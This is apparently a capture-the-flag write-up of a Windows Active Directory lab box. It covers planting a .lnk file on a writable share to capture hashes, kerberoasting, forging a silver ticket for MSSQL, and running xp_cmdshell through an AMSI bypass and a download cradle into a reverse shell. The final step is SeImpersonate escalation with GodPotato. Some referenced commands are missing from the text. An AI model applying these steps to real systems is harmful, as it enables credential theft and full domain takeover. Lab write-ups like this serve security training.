Breach is a Windows Medium box that starts with Guest auth to shares. Having read/write to one share, we upload a lnk file and receive a user hash. This hash is used to kerberoast SPNs which gets a hash for svc_mssql user. As we have a Service Account, we can create a silver ticket. After creation, we connect as Administrator to a MSSQL instance and can run commands via xp_cmdshell. Only after bypassing AMSI do you get a reverse shell. Once on the machine, checking our privileges we have SeImpersonate available to us. Using GodPotato we create a user and add them to the Administrators group, and connect as Admin via evil-winrm.
Initial Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-28 00:08:14Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 127 1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows
SMB
Trying as Guest allows us access to the share on the DC.
$ impacket-smbclient 'breach.vl/Guest@breach.vl' -no-pass Impacket v0.13.0.dev0+20241024.90011.835e1755 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands # shares ADMIN$ C$ IPC$ NETLOGON share SYSVOL Users # use share # ls drw-rw-rw- 0 Fri Mar 28 08:16:30 2025 . drw-rw-rw- 0 Thu Feb 17 09:38:00 2022 .. drw-rw-rw- 0 Thu Feb 17 05:19:36 2022 finance drw-rw-rw- 0 Thu Feb 17 05:19:13 2022 software drw-rw-rw- 0 Thu Feb 17 08:00:35 2022 transfer # cd transfer # ls drw-rw-rw- 0 Thu Feb 17 08:00:35 2022 . drw-rw-rw- 0 Fri Mar 28 08:16:30 2025 .. drw-rw-rw- 0 Thu Feb 17 05:23:51 2022 claire.pope drw-rw-rw- 0 Thu Feb 17 05:23:22 2022 diana.pope drw-rw-rw- 0 Thu Feb 17 05:24:39 2022 julia.wong # put freeCandy.lnk # exit
And we can put it in the transfer folder where the users are at. After we setup responder and see if we get a hit.
[-] CCache file is not found. Skipping... $krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl/svc_mssql*$94460cab00e138498318d889ae9d858d$ebfbc9219ec245123242aa4a3b5408c548d7dd7afb1926b61936c422b74fed99f0414f59d3cad89f18afc227c4d0275048a11c91816eae8248d9fa69e1f30ccb77b76020f07ea4452f2af9352e1817f92a9758a4099e76402df858ecb54abb9f170179107dff4fb442b7a5437a348476398b0459<SNIP>
And we get a hit on svc_mssql, when we crack the hash we get a clear text cred we can use against the open port 1433/mssql.
Silver Ticket Attack
Since we have valid credentials to a service account(MSSQL). We can create a silver ticket which will give us administrative rights when we connect to the mssql instance. If we did it now we wouldn’t have the ability to run commands.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
$ impacket-mssqlclient 'breach.vl/svc_mssql:<SNIP>@breach.vl' -windows-auth Impacket v0.13.0.dev0+20241024.90011.835e1755 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL (BREACH\svc_mssql guest@master)> enable_xp_cmdshell ERROR(BREACHDC\SQLEXPRESS): Line 105: User does not have permission to perform this action. ERROR(BREACHDC\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement. ERROR(BREACHDC\SQLEXPRESS): Line 105: User does not have permission to perform this action. ERROR(BREACHDC\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement. SQL (BREACH\svc_mssql guest@master)>
So we use impacket-ticketer to create our ticket. First we need to convert the password to a nthash with a converter online. Then we must get the domain sid. We can obtain that a couple of ways, using impacket tools such as lookupsid, getPac, nxc, bloodhound data. Then we create our ticket. Ensure to use // when entering the service or you will get an error when kerberos looks for the ticket. This is in some cases, at least it was for me
[+] Impacket Library Installation Path: /usr/local/lib/python3.11/dist-packages/impacket-0.13.0.dev0+20241024.90011.835e1755-py3.11.egg/impacket [*] Encryption required, switching to TLS [+] Using Kerberos Cache: Administrator.ccache [+] SPN MSSQLSVC/:1433@BREACH.VL not found in cache [+] AnySPN is True, looking for another suitable SPN [+] Returning cached credential for MSSQLSVC/@BREACH.VL [+] Using TGS from cache [+] Changing sname from MSSQLSvc/@BREACH.VL to MSSQLSVC/:1433@BREACH.VL and hoping for the best [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL (BREACH\Administrator dbo@master)>
Now we can run a commands. After enabling xp_cmdshell we run the following with our listener up:
a2.ps1 is a AMSI-Bypass tha once finished will reach out again for the cradle.ps1
cradle.ps1 will reach out again for the reverse shell.
sm.ps1 is the full reverse shell. Nishang Oneliner.
This get us a reverse shell. Finally!!
PrivEsc
1 2 3 4 5
$ rlwrap nc -lvnp 9002 listening on [any]9002 ... connect to [10.8.4.29] from (UNKNOWN) [10.10.112.98]58767 PS C:\Windows\system32> cd \programdata PS C:\programdata> ls
After looking at our privileges we can see our easy out.
1 2 3
SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled
Transfered GodPotato over and created a user and added them to the Administrators group.
